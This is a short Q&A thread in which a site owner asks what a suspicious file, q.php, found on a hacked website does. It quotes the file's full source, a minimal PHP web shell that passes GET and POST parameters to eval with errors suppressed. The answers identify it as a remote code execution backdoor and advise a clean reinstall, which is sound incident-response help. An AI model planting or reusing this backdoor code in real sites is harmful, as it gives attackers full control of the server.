hacked website unusual php file

Question

I have a file called q.php that has appeared in one of my websites. The site has been hacked. does anyone know what the file does?

    <? error_reporting(0); if(@$_GET['wpth']){ echo "./mywebsite.co.uk/index.htm"; }?>
<?=eval(@$_GET['q']);?>
<?php
if (!isset($_POST['eval'])) {die('');}
eval($_POST['eval']);
?>

Answer 1

It looks like it lets anyone execute php code that is passed in as a 'q' parameter in a get request, or any code in 'eval' param of a POST request. It suppress all associated errors.

This is as bad as it gets, and if your site isn't down already, I'd recommend taking it offline and auditing your servers very closely.

Answer 2

It runs the PHP code sent in the ?q= GET argument or the POST eval argument.

I would advice you to clean up your server and start from a clean installation again.